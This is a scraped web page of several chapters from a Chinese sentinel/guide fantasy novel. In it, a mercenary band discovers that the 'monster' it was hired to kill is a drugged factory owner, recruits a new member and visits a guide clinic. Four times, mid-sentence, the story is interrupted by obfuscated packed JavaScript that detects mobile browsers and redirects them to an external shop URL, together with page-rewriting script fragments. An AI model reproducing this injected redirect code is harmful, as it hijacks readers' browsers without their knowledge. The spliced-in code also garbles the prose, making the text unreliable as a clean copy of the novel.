任务的发布人叫郑家富,程浪打电话过去,对方派了个助理将他们接进厂区里面的一间办公室。 办公室里有个三十出头的男人,中等身材,懒散地躺在宽大的老板椅上。 助理介绍:“这位就是我们老板郑家富郑经理了。” 郑家富一脸怀疑地来回打量面前的三名佣兵,还特别多看了程浪 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060286|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两眼:“就凭你们三个,还带个女人,能抓到那只怪物吗?” “当然,女人不比男人差,一样能对付怪物。”程浪听到这种话就反感,忍着向郑家富亮拳头的冲动,尽量克制地回答。 孙大成跟着说:“郑老板,我们既然敢接你这个任务,自然是有一定把握的啦。不过你的任务内容写得太简单,麻烦详细介绍一下,我们好制定具体的抓捕方案。” 郑家富头疼道:“那怪物不知道从哪里来的,都在晚上出没,已经抓伤了厂里好几个员工,搞得人心惶惶的。本来有些员工住在工厂外面,现在只能全部住在厂区里面,连我都不敢出门了。最近厂里在赶一批货,结果现在人手都不够用,还不知道能不能按时交货。如果延期交付,那就要赔一大笔钱了。” 熊正豪问:“受伤的员工没说那怪物具体是什么动物变异的吗?” 郑家富摆摆手道:“没,黑灯瞎火的,突然遇到袭击又吓得要死,他们都没看清。” 程浪说:“郑先生,你能给我一份受伤员工的资料表吗?” “你要这个干什么?” “想了解一下他们的情况,再找他们问一下事发时的经过,看能不能发现什么有用的信息。” 郑家富随手在乱糟糟的桌面上翻了翻,找出一张纸递给程浪:“就是这几个,问你就不用问了,这几个家伙被吓得脑子不清醒,胡言乱语的,问也白问。你们只要知道那怪物危险的很,要是碰到了就直接杀死它,越快越好,省得出什么意外,拖来拖去又耽误我的工期。” 程浪接过那张纸:“那好,我们商量一下,然后再采取行动。” 熊正豪还想说点什么,不过犹豫了一下还是没开口。 “最好今天晚上把那个怪物给我处理掉,不行我就找其他人了。我们这间工厂一天流水上百万,可耽误不起。”郑家富在老板椅里转了转。 “哇,您可真是了不起的大老板!”孙大成夸张地拍了一记马屁,然后搓了搓手指,“我们接一单任务可不容易,郑老板您看佣金能不能多给一点呢?” 郑家富脸色一变,一口否决:“那可不行,我还要养这么多工人呢,开销大得很。要是不能按时交货,那就要亏本了。你们不想接这个任务就算了,想接的人多的是!” 孙大成耸耸肩:“接,当然接,只是跟您开个玩笑而已。” “这一点也不好笑。行了,你们出去吧,好好计划一下今晚怎么杀死那只怪物,我这还忙着。” 郑家富板起脸,叫来助理把程浪他们送出去。 程浪注意到办公室外的墙上装着一面电子屏幕,轮流播放工厂几名高级管理人员的照片和履历,恰好闪过昌明制品厂的厂长兼总经理的介绍。 她看得清楚,这家工厂的一把手叫郑家昌,不是刚才那个郑家富。 13. 第 13 章 程浪问助理:“你们厂长是郑家昌不是郑家富?郑家昌在哪里?” 助理语塞了一下,随即答道:“郑厂长啊,有事出远门了。” “那他什么时候回来?” “这个我可说不准,厂长日理万机的,谁知道。你们有事就找郑家富好了,现在厂里都是他管事。” “这样吗。”程浪停下脚步,四下瞧了瞧,“我们能在厂里看看吗?” 助理的声气和郑家富如出一辙,断然否定:“不行!你们是来捕杀怪物的,那怪物在工厂外面,又不在里面,有什么好看的。” 于是继续往前走。 过了一会儿,走到一半,助理接到个电话,说:“我现在有点事,你们就沿这条路自己出去,不要在厂里面乱转。” 程浪应道:“那你忙去吧,再见。” 等助理打着电话走开了,程浪问:“豪哥,你刚才是不是有什么话想说?” 熊正豪迟疑道:“嗯,我感觉那个郑家富说的话好像有点问题……不过可能是我想多了。” 孙大成哼了一声道:“不是你想多了,那家伙肯定隐瞒了什么。还有那个助理,防我们像防贼一样,没跟我们说实话。” 程浪同样有这个感觉,无论是郑家富还是助理,说话都不尽不实,生怕他们在厂里多呆一秒。 但怪物伤了自己厂里的员工,郑家富着急交货,才在暗网上发布捕杀任务,他有什么需要隐瞒的? 她看了看郑家富给的那张纸,被怪物袭击的一共有六名员工,年龄从30到40多岁,清一色全是中间年龄段的男性。 这也太巧了吧。 他们刚才进厂的时候明明看到这家工厂的员工有男也有女,年龄跨度也比较大,二十来岁到五六十岁的都有。 变异怪物难道还能识别人的年龄和性别,有选择性地进行袭击? 这时,一名头上包着纱布脸色苍白的中年人从他们旁边的一条小路经过,身上穿着蓝色工装,看样子要去生产车间。 程浪立即叫住了对方:“大叔,麻烦等一下,我有点事想问问您。” 中年人停下来,疑惑地看向他们:“问什么?你们不是我们厂的人吧。” “是的,我们是来拜访贵厂的客人。”程浪和颜悦色地说,“大叔,您受伤了今天还要上班吗?” 中年人苦着脸道:“不然怎么办,不上班就要扣一天的工钱,而且全勤奖也没了,爬也得爬起来干啊。” 程浪同情道:“我听说工厂周边最近来了只变异怪物,您和另外几名工友都是被它打伤的吧?是什么怪物这么凶,听起来很可怕的样子,我们在考虑要不要早点离开这里。” “确实挺可怕,还好我跑得快捡回一条命,差点就嘎了。不过,打伤我们的不是变异怪物……” 中年人没有继续往下说,有些戒备地瞧了周围一眼。 孙大成奇道:“不是变异怪物是什么?” 中年人正犹豫要不要回答,刚才接电话的助理去而复返,在小路另一头喝道:“喂,老张,你还不赶紧去干活,在那里磨蹭什么?小心我扣你半天工钱!” “别扣别扣,我马上就去!” 中年人不敢再停留,急匆匆地走了。 助理过来不高兴地说:“你们怎么还没出去?这里是生产重地,不要影响我们生产!” 孙大成随口道:“我们又没有乱逛,刚才只是有点迷路,就找人问了一下而已。” 助理皱着眉:“不是说了就这条路吗?走吧走吧,我带你们出去。” 随后三人就跟着助理出了工厂,厚重的大铁门立即合拢,将他们阻隔在外。 孙大成撇撇嘴道:“有什么了不起的。要不是接了任务,我都想给那家伙一拳头,治治他那斜眼看人的毛病。” 程浪说:“完成任务能给钱就行。上车吧,在周边转转,熟悉一下环境。” 他们上了吉普车,沿着工厂外围绕了一圈。 这一带和大部分地方一样破败荒凉,周围看不到什么人,只有这座工厂孤零零地矗立着。 丛生的杂草中偶有野狗豺狼等动物出没,体型都比较大,长相也比较凶残,但跟视频里的怪物影像不一致。 一两公里外有一片居民区,方圆百米的范围内都没有发现什么大型动物的巢穴。 只能晚上守株待兔了。 夜幕降临时,三人吃了营养剂当晚饭,程浪和熊正豪在一栋破房子的一堵墙后蹲守。 孙大成与郑家富身高体型比较接近,就当诱饵,在旁边的野地里慢慢地闲逛。 片刻后,程浪敏锐地发现对面几十米开外处,工厂大门侧边的草丛后,有个影子晃了一下。 怪物来了吗? 熊正豪顺着她的视线注意到目标可能出现,立即做好出击的准备。 就着工厂门口黯淡的灯光,程浪又仔细地观察了一下,发现有点不对劲。 那道影子曼妙婀娜,是名女性的身影,跟视频中的差距很大,只有怪物身形的一半宽。 对方似乎观察了一下周边的地形,然后在草丛中蹲下来,像是在埋伏,跟程浪他们一样。 这可有点奇怪了。 熊正豪也看到了,表情有些疑惑。 程浪做了个手势,先不要打草惊蛇,静观其变。 又过了一会儿,孙大成旁边一堆建筑垃圾后面传来响动。 两人齐齐望去。 紧接着,一只体型高壮的怪物跳上垃圾堆,举着 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060287|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 两只前掌,嘴里“啊啊”怪叫着,朝孙大成扑了过去,其势汹汹。 孙大成反应很快,就地打滚躲开了。 然而怪物速度更快,一扑落空后迅速转身,挥舞着前掌再次朝孙大成凶猛地抓去。 看那势头孙大成一个人无法应对,程浪和熊正豪立即冲上前去。 到了近前,程浪赫然发现,那不是怪物,而是一个人! 虽然头发蓬乱,满脸脏污,张牙舞爪的,乍一看像头野兽,但的的确确是人。 而且还是一名高级哨兵,身后跟着一头比人还高的巨猿,无声地咆哮着,满地追打孙大成的浣熊。 浣熊完全没有招架的能力,只能窜来窜去,疲于奔命。 这名哨兵显然处于狂躁状态,比正常情况下的攻击力更强。 熊正豪立即召唤出黑熊精神体,从侧边猛冲过去,将巨猿撞出去半米远,避免了浣熊被一巴掌拍扁的杯具。 孙大成缓过来一口气,和熊正豪同时对付那名发狂的哨兵,两个人一起打配合,堪堪招架得住。 程浪正在观战时,旁边突然掠过一道虚影,有人突如其来地从孙大成的背后发动袭击。 程浪定睛一瞧,那是一名年轻的女子,染了一头紫色卷发,五官明艳,身手则十分凌厉,一个侧身高鞭腿,竟将孙大成踢飞出去。 紧接着,斜那里扑来一只毛皮斑斓的花豹,在空中划出一道流畅的弧线,灵敏地跃到熊正豪的黑熊背上,伸出两只利爪去挠它的眼睛。 熊正豪与精神体的视线同时受阻,没头苍蝇一样失去方向感。 紫发女趁机一个横肘,击中熊正豪肋下。 熊正豪闷哼一声,踉跄两步,随即被发狂的哨兵一拳打到地上。 形势急转直下,程浪果断入场,一边释放出狮鬃水母,一边同时拦截发狂哨兵和紫发女两个人。 两名对手都是高级哨兵,狮鬃水母呈现出完全形态,无数触手在旋转飞舞,如一道令人目眩的橙色风暴一般袭向巨猿与花豹。 两只猛兽的战斗力都很强,但再强也敌不过狮鬃水母编织的华丽牢笼。 骤然见到巨无霸的橙色水母,紫发女难以置信地抬起头,惊诧得动作都停顿了两秒。 代价就是被程浪一掌劈中颈侧,疼得漂亮的五官都有些扭曲,一时浑身乏力,失去了反击能力。 程浪再曲膝顶向发狂哨兵的腹部,令其痛得弓起背脊,再回身一拳砸在他太阳穴上。 发狂哨兵扑倒在地,昏厥过去。 孙大成和熊正豪立即上前,用绳子将发狂哨兵五花大绑起来。 虽然郑家富要求的是将怪物当场击毙,但任务目标并非真的怪物,在没搞清事情真相前,他们是不会直接下杀手的。 14. 第 14 章 程浪看向紫发女,这姑娘看样子年纪比她还小一点。 紫发女忌惮地倒退一步,转身想逃,但又明白自己和程浪之间的实力差距,就算逃也逃不掉,便警惕地问:“你们是郑家富找来的佣兵吗?你想怎么样?” 程浪接连反问:“你又是什么人?为什么要帮那个发狂的哨兵,你们俩是什么关系?你知不知道他近期打伤了好几名郑家富工厂的男员工?” 紫发女桀骜不驯地扬起俏丽的脸庞,用一双圆圆的杏仁眼瞪着程浪:“我凭什么要回答你!” “凭你是我的手下败将。” 程浪抱着手臂,好整以暇道:“你现在有两个选择,一是如实回答我,不要有任何隐瞒,我可以考虑放过你;二是我把你和那个疯子一起交给郑家富,由他来处置。机会只有一次,你想清楚了。” 紫发女被她气势所慑,不复先前的桀骜,想到郑家富心里又是一阵嫌恶,迟疑片刻后终于屈服,答道:“我叫李昭昭,是一名雇佣兵。这个疯子是我的雇主,叫郑家昌,是昌明制品厂的老板。郑家富则是他父亲和情妇的私生子,老郑前几年生了重病以后才认回来。 “郑家富来了后就在厂里做一些杂七杂八的事,等老郑去世后就想跟郑家昌争夺家产。郑家昌前段时间还是个正常人,因为怀疑郑家富居心不良,暗中收买了工厂管理层的几个人,还暗中找了打手来对付他,于是在暗网上发布任务,想雇个人来保护自己,我就接了这个任务。” 没想到这个任务背后还有这样狗血复杂的弯弯绕绕,程浪有些意外,面上却不动声色,听李昭昭继续一五一十地交待。 “但郑家昌还是不够谨慎,有点托大了。前几天郑家富假装跟郑家昌和谈,暗中用迷药把他迷倒,将他拘禁在外面一栋房子里,想强迫他签署工厂转让协议。我试过两次想要将他救出来,但是都失败了。后来郑家昌醒了后就狂性大发,打倒两名看守员后逃了出去。但他可能没有完全丧失神智,并没有跑远,而是躲藏在工厂附近一带,专门袭击跟郑家富外形比较相似的中年男人。 “我只是受郑家昌的雇佣来保护他而已,郑家昌本身实力比较强,发起狂来更厉害,郑家富派人抓他都抓不到。我想阻止他伤人也没办法,他现在已经认不出我了。这个任务的佣金是15万,但郑家昌遭了暗算,我忙了几天一分钱都还没收到呢,今晚又碰到你们,算我倒霉。” 李昭昭说完后有些忿忿地抓了下自己的头发。 熊正豪说:“那个果然郑家富谎话连篇,把我们都蒙在鼓里。” 孙大成啧啧两声道:“遇到我们不是倒霉,是你走运了。郑家富要求我们直接杀死伤人的‘怪物’,而你又是保护‘怪物’的,要是遇到其他佣兵多半也不会有什么好下场。” 李昭昭争辩道:“其他佣兵也没有你们,不是,没有她这么厉害啊!” 这个“她”自然指的是程浪了。 程浪看着李昭昭气呼呼的模样,又问:“郑家昌现在发了狂,谁都不认识,就算你不保护他,他也没办法追究你的责任,你为什么还要执行这个任务?” “我已经接了他的任务,当然要履行职责了。”李昭昭认真地说,“雇佣兵也得有职业操守,难道不是吗?” “是。”程浪认同地点头,“你有团队吗?” “没,就我一个人。” “为什么会当雇佣兵?” 李昭昭十分懊恼:“我本来想参军的,但在初审阶段被负责的一名审核官X骚扰,我恼火之下踢爆了那名上尉的蛋,就丧失了当兵的资格。后来干别的事情都不顺利,所以就当雇佣兵了。” 孙大成和熊正豪都有点胯、下隐隐作痛的感觉,这丫头脾气真够火爆的。 程浪顺势问:“那你想不想加入我们的乘风佣兵团?” “什么,加入你们?”李昭昭惊讶地睁大眼睛,没料到程浪会突然向自己发出邀请。 程浪肯定地说:“对,我叫程浪,是乘风佣兵团的团长。你现在依然有两个选择,要么加入我们,以后一起并肩作战;要么离开,就当今晚什么都没发生过,我不会为难你,只是要消除你一部分关于我的记忆。” 由于男女之间天生存在体能差距,女性哨兵很少,而高级女哨兵更是罕见。 这个姑娘的身手没得说,一个人的战斗力几乎抵得上孙大成和熊正豪两个人。性格也直率坦诚,很合程浪的脾胃,这样的人才不容错过。 李昭昭喜出望外,不假思索道:“我要加入!” 她向来心高气傲,最讨厌那些眼高手低一身臭毛病的男哨兵。 但程浪也是女人,实力又是李昭昭出道以来遇到过最强的,一番言行举止令李昭昭打从心底折服,能够加入她的团队自然再好不过,肯定比她孤身一人乱闯要强。 程浪笑道:“那么欢迎你成为乘风佣兵团的一员。” “谢谢!”李昭昭欢欢喜喜地说,“对了,团长,你的精神体是什么?我从来没见过呢,真是太酷了。” “它是狮鬃水母,名字叫大橘。我应该比你大一点,你可以叫我一声姐。” “姐!” 李昭昭比程浪小两岁,两名女哨兵不打不相识,打了之后迅速赢得了彼此的好感,热情地拥抱在一起。 孙大成和熊正豪刚才猝不及防下着了李昭昭的道,都有点不好意思,但两个都不是矫情小气的人,对李昭昭的身手也挺佩服,随后也一一跟李昭昭作了自我介绍,握手为礼。 从现在起,乘风佣兵团就有四名成员了。 李昭昭随后问:“姐,我这个任务是不是就算失败了?现在要把郑家昌交给郑家富吗?虽然郑家昌伤了不少人,但他本性不坏,郑家富可不是什么好东西。” 程浪说:“你已经尽到了自己的保护之职,只是情况太复杂,超出了任务内容,不是你的责任。我们也不可能按照郑家富的要求直接杀死郑家昌,毕竟他是人而不是怪物,在神智不清楚的状态下伤人罪不致死。” “那要怎么办呢?”< ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060288|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' /p> 程浪沉吟着道:“这件事归根结底是郑家的内部纷争导致的,最好由郑家昌自己来处理,但他现在发了狂,现在送他去医院不知道能不能治好。” 熊正豪出声提醒:“郑家昌是高级哨兵,普通医院治不了,这一带附近似乎也没有专门的向导医院。” 李昭昭马上道:“确实,最近的向导医院有两百多公里,不过我刚好有一支安抚剂,可以给他用。郑家昌的情况还没到最糟糕的时候,发病也不到一周,或许可以抑制他的狂躁,要是不行再送去向导医院。” 程浪点头:“行,我们先找个地方安顿下来,免得被郑家富的人发现了。” 孙大成和熊正豪将昏迷的郑家昌抬上车,然后把车开到离工厂三十公里的一片住宅区,找了家民宿入住。 李昭昭从随身腰包里取出一支口服液,蓝瓶的,一支10毫升,跟程浪小时候喝的某种补钙剂挺像。 之前被打晕的郑家昌也醒了,双眼发红,一边怪叫一边在地板上挣扎,就像案板上没命蹦达的鱼,谁要靠近就张嘴去咬。 孙大成和熊正豪两个人一起将郑家昌按住,再加上李昭昭控制住他的脖颈,程浪才把口服液倒进他嘴里。 程浪从来没接触过安抚剂,不知道是否会起效,就死马当作活马医了。 好在过了十来分钟后,郑家昌挣扎的动作逐渐变小,又过了一会儿就彻底安静下来,只是侧卧在地板上喘息。 李昭昭试探着唤了一声:“郑家昌先生,你还好吗?” 郑家昌慢慢抬起头,乱发下的眼睛不再红得吓人,散乱的眼神恢复了焦距,盯了李昭昭片刻,接着动了动身体,发现身上的绳索后不悦地质问道:“李昭昭,这是什么地方?为什么我被绑着?这几个又是什么人?是郑家富那个混帐东西让你这么干的吗?” 安抚剂起效了,只是郑家昌失去了发狂后这几天的记忆。 李昭昭松了一口气,解释道:“因为你之前陷入狂躁状态,伤了几名工厂的员工,所以才把你绑起来了。” 她把近期发生的事情从头到尾讲述了一遍,郑家昌气得脸色铁青,不过没有大喊大骂,期间一直忍着没开口。 末了,程浪问:“现在你打算怎么处理这些事?” 郑家昌思考片刻,说:“你们给我三天时间,我去摆平郑家富,夺回属于我的一切。之后受伤的员工我会赔偿抚恤金和精神损失费,求得他们的谅解。你们和李昭昭的佣金我也会加倍支付,不会让你们的任务落空。” 这个态度倒是不错,比狡猾奸诈的郑家富靠谱多了。 孙大成还不太放心:“你最好能说到做到,不要又遭了你那个便宜兄弟的暗算。” 郑家昌沉声道:“我不会在同一条沟里栽两次。工厂的股份大部分还在我的名下,厂里也有一些对我忠心的老员工,这一次绝对不会再让那个野种得逞。” “行,那就给你三天时间。” 程浪点头示意,熊正豪给郑家昌松了绑。 15. 第 15 章 时间已晚,郑家昌刚刚恢复神智,身体还没有复原,他们就在民宿休息了一晚。 次日一早,众人起身后,就见郑家昌精神好了很多,把自己收拾干净了,还借了熊正豪一套衣服穿,显得一表人材,相貌堂堂,跟前一晚的疯子判若两人。 “你们在这里等着,我现在就去工厂。” 说完他就出了房间。 民宿的老板娘正在院子里晾衣服,看到郑家昌后先是一愣,继而吃惊道:“郑厂长?” 郑家昌停下脚步:“是我。” 老板娘难以置信道:“你不是出事了吗?他们说你,说你……” “说我变成疯子了是吧?”郑家昌接口道,“是郑家富算计了我,害我变得不人不鬼的,现在我已经没事了,这就去厂里找那个畜牲算帐。” “这样啊,那希望你能成功,这几天大家的日子可不好过。” “我会的。” 郑家昌没再说什么,快步离开了民宿。 程浪问老板娘:“阿姨,你认识郑家兄弟?” 老板娘说:“是啊,我老公就在他们厂里上班。以前郑家昌管事的时候还行,什么都比较规矩,每个月的工资都能按时发,这几天换成郑家富后一团糟,辛苦不说还动不动就扣钱。我老公都干不下去了,正想着辞职回来,跟我一起开民宿算了。” 正说着话,程浪的电话响了,恰好是郑家富打过来的。 接通之后,郑家富就在那边不满道:“那只怪物呢?昨晚你们没行动吗?” 程浪一本正经地回答:“行动了,但那不是怪物,是个人,我们杀了他不是太好吧?” 郑家富满不在乎道:“有什么不好的,他伤了那么多人,跟怪物也没什么区别了,杀了就杀了,钱我照样付给你们。” “那好,一会儿你就能见到他了。” 郑家富没听出异样,也根本想不到事情的发展完全偏离了自己的掌控,喜道:“那行,我在办公室等着!” 挂了电话后,众人不禁纷纷笑起来。 想象一会儿郑家富等来的不是尸体,而是恢复理智兴师问罪的郑家昌,那场面想必会十分有趣。 程浪他们就在这间民宿继续住着,等厂里的消息。 到了晚上,老板娘的老公回来了,满面春风地说郑家富被郑家昌打断腿关起来,受伤的员工全都得到了安置,他这几天被无故扣掉的工钱也已经退还了。现在厂里正在整顿,一切都要回到正轨,他不打算辞工了。 郑家昌说给他三天时间,但第二天下午就一身正装亲自来到民宿向程浪四人道谢。 郑家富发布的任务佣金是30万,李昭昭的个人任务是15万,郑家昌按照先前的承诺,分别给他们双倍支付,然后在暗网上确认两项任务全部圆满完成。 如此这般,皆大欢喜。 乘风佣兵团这一趟赚了不少,比第一次任务翻了几倍,还多了李昭昭这一名得力干将,收获可谓大大的。 作为老大,程浪给三名属下的精神体都起了个昵称,叫起来既亲切也方便。 孙大成的浣熊叫欢欢,熊正豪的黑熊叫壮壮,李昭昭的花豹是小花,三名哨兵对此毫无异议,一致赞扬老大起的名字雅俗共赏,十分高超! 属下们都很高兴,程浪的感觉却没那么好,回程路上脑袋一直隐隐作痛,心里也有点燥,可能是来这里后顿顿吃营养剂,饮食不均衡,有点上火吧。 回到鸿福山庄后,她去冰柜拿了瓶冰水,一气喝了大半瓶。 李昭昭见程浪皱着眉头,脸色似乎不大好,便关心地问:“姐,你怎么了,不舒服吗?” 程浪把剩下的冰水喝完,说:“我是觉得心里有点烦躁,可能是上火了吧。” 狮鬃水母在精神海域里面也不大平静,在浅海处游来游去,掀起了一阵阵海浪。 李昭昭观察了一下,猜测道:“姐,我感觉你不像上火,是不是精神负荷有点大,有段时间没做过精神疏导了?” 程浪一脸茫然:“我成为哨兵才一个星期,还没做过精神疏导呢,连向导长得是圆是扁还没见过。” 不止是李昭昭,先跟着程浪的孙大成和熊正豪闻言都很意外。 熊正豪解释道:“哨兵打架多了,精神力消耗大了,就会心烦头痛想暴走,需要做精神疏导,或者服用哨兵安抚剂。老大你这一周打过几场,对手都比较强,会觉得不舒服也正常。以前我在军队的时候,上面每隔一段时间都会派向导下来给我们做一次疏导。” 孙大成拍了拍脑袋道:“是啊,如果长时间不疏导就会难受,恨不得用头去撞墙。但我不像熊哥一样有编制,只能自己想办法解决。说起来我也有阵子没疏导过了,这会儿也觉得有点头疼呢。” 原来是这样! 程浪之前没当回事,现在不得不正视哨兵与生俱来的弱点:容易精神过载,情绪不稳定。 就算自己实力再强大,意志再坚定,也无法避开这个问题。 她便向小弟们虚心请教:“那是找向导做精神疏导还是用安抚剂比较好?我对这些还真不了解。” 熊正豪说:“各有利弊吧。向导比较人性化,可以根据哨兵的具体情况针对性地进行疏导,但要碰到能力强又合适的不容易。安抚剂是批量生产的,胜在比较方便,随时都可以在向导诊所买到,但疗效可能不是太精准,而且用多了会有一定副作用。” 孙大成补充:“副作用包括但不限于便秘、过敏和脱发等等,因人而异。” 李昭昭把自己篷松的紫色大波浪卷发往脑后拨了拨,懊恼道:“我去年就是安抚剂用多了,头发掉了一大把,不得不烫了头发,这样显得发量多一点。所以现在我买安抚剂都是备用,以防万一,能找向导还是尽量找向导。” 程浪哭笑不得,感觉无论是向导疏导还是用安抚剂都挺麻烦,真是让人伤脑筋。 孙大成提议:“老大,明天我们不如就找个向导诊所,你先体验一下。” “行 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|17060289|195040||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' ,明天试试。” * 翌日,孙大成在网上查到青岩市里有一家向导诊所,乘风小队一行四人便驱车前往。 这家诊所在同行业中规模不小,外面有一排身着制服的哨兵把守,进门还要过安检仪,一是不能携带任何管制武器;二是扫描评估就诊者的精神状态,防止有哨兵突然发狂,闯入诊所闹事。 他们四个全都通过了安检仪,危险评级都是轻度。 一般哨兵精神过载量30%以下属于轻度,这种状态下意识比较清醒,但会出现失眠、头痛、胸闷等症状,只是程度比较轻微。 30%至60%为中度,会烦躁不安,变得情绪化,出现一定暴力倾向。 60%-80%属于重度,进入危险状态,随时都有可能失控,攻击周围人群。 超过80%就会彻底发狂,失去自我意识,六亲不认。 程浪目前是25%,还算比较安全。 进到诊所里面后发现各式各样感谢的锦旗挂满了整个大厅,排队等着疏导的哨兵也有好几个,看来这里的疏导水平不错。 厅里有身着白大褂的向导医生和护士在来回走动,程浪一个恍惚,脑海中闪过一周前惊鸿一瞥的白色衣角。 以及当时隐约感受到的那一股强大莫测的气息。 狮鬃水母浮出海面,有些躁动不安地摆动触手,把海水搅得哗哗响。 程浪如同着了魔一样站在大厅中间,目光追随一个一个的白大褂,屏息凝神,努力在这所诊所里几十号人的混杂味道中仔细分辨。 然而没有,这里面没有一个与记忆里的气息相似。 大橘很失望,懒懒地放松触手,随波逐流。 见她神色有异,李昭昭问:“姐,怎么了?” 程浪摇摇头,若无其事地说:“想看看这里有没有帅哥,但好像没发现。” 李昭昭耸耸肩:“是啊,我也看过了,这是家老诊所,向导年龄都偏大。” 孙大成也表示遗憾:“美女也没有一个,都是大婶。” 熊正豪说:“希望他们的疏导水平能跟年龄成正比吧。” 厅里墙上贴着一张收费明细表,根据哨兵ABCDE五个等级,疏导费用从500到2500分为五个档次,每高一个级别就多500,看的也是不同级别的向导医生。 孙大成一向对外自称B级哨兵,但B级比C级要贵500,不划算,所以还是实诚地去了C级诊室。 熊大成也不想多花钱,就去了B级诊室。 程浪别无选择,和李昭昭各交了2500,领了号一起去看高级向导医生。 李昭昭先进诊室,程浪在外面等着。 10分钟后,李昭昭出来,程浪问:“怎么样?” 李昭昭一脸无聊地说:“一般般,给我缓解了大概50%,不算好也不算太差。可能这位老医生年纪太大了,有点力不从心,以后还是要找年轻力壮的。” 程浪不由失笑。 16. 第 16 章 诊室门口的电子屏幕发出声音:“下一位,程浪。” 程浪就推门而入,见到了“力不从心”的黄医生,确实不年轻了,已近花甲之年,精神体是一头老黄牛,卧在诊室里,半眯着眼睛,嘴巴反刍一样一动一动。 黄医生从老花镜后瞥了她一眼,皱起眉头:“小姑娘,你是不是来错地方了,我们这里是向导诊所,只接待哨兵,不接待普通人。” “我就是哨兵。” 程浪把狮鬃水母放出来,不过只展示出来十分之一的体型,大概两米多长。 黄医生睁大眼睛,颇为吃惊,随即摘下老花镜拿镜布擦了擦,若无其事地说:“刚才镜片花了,没看清楚,坐吧。” 程浪:“……” 随后黄医生抬起双手,悬空在她头上,煞有其事地来回绕圈,像练气功一样。 程浪看到黄医生的神识像一股手指粗细的藤蔓,朝自己的大脑缓缓延伸过来。 她的精神图景外围其实有一道屏障,仿佛修仙小说中的结界一般,笼罩着其中的精神海域。 如果她不主动打开屏障,其他人的神识大概是进不来的。 但既然要疏导治疗,那就配合一点吧。 黄医生进入程浪的脑海后如堕云雾之中,一片白茫茫的,底下隐约能看到一片波翻浪涌的汪洋大海,一场海上风暴正在周边酝酿,隐藏着看不见的危机。 他的老黄牛在空中四蹄乱蹬,表现出了有别于往日的活力,试图阻止风暴的形成。然而面对这样危险莫测的精神图景,做什么都是徒劳。 才不过一分钟,黄医生出了一头冷汗,从程浪的脑海中匆匆忙忙连滚带爬地退了出来。 他的老黄牛则过于虚脱,直接隐了形。 程浪见老头脸色发白,嘴唇也在微微发抖,就问:“黄医生,你没事吧?” 黄医生喘了两口气,抹了把汗,强作镇定:“还好,医者仁心,我每次为哨兵疏导的时候都会竭尽所能,所以消耗特别大。” “是吗?”程浪有些奇怪,“可是我基本上没多少感觉啊。” 要说完全没有效果也不至于,但对她烦躁胸闷的缓解只有一丢丢,不注意就基本感觉不到。 黄医生煞有其事地说:“我的疏导是有后劲的,就像陈年老酒一样,你晚点就能慢慢体会到了。” 这么玄乎吗? 程浪半信半疑,但老医生都这么说了,她也不好反驳,毕竟人家一把年纪了,资历深厚,阅历丰富,应该不至于忽悠人吧。 而且这是她头一回做精神疏导,究竟应该是什么样的体会也不清楚。 黄医生生怕她还要说什么,接着迅速道:“回去多休息,少熬夜,饮食清淡点,很多问题其实都是生活习惯不健康造成的。你平时多注意点,否则疏导再多也是事倍功半。” 这些话倒是金科玉律,程浪应道:“嗯,知道了。” “好了,你可以出去了。” “谢谢黄医生。” 程浪便起身出了诊室。 黄医生在她背后霎时背脊都弯了下来,感觉自己刚才疏导一分钟至少老了五岁。 那小姑娘真是A级哨兵吗?比前一个精神体是花豹的似乎厉害不少,精神图景也大得不可思议。 他从业三十多年,疏导过的哨兵没有一万也有八千,还是头一回遇到刚才这种情况,有些怀疑程浪的实力不止A级。 但那姑娘的精神体中规中矩,品种虽然比较少见,但体型和战斗力并不是太出奇。 难道是自己年纪大了,精神不济,连续接诊了两名高级哨兵,所以体力跟不上了? 黄医生在这一刻感到无比疲惫,陷入了深深的自我怀疑。 还好程浪脾气还不错,症状还比较轻,不像那些男性哨兵粗鲁暴躁地搞医闹,找他麻烦。 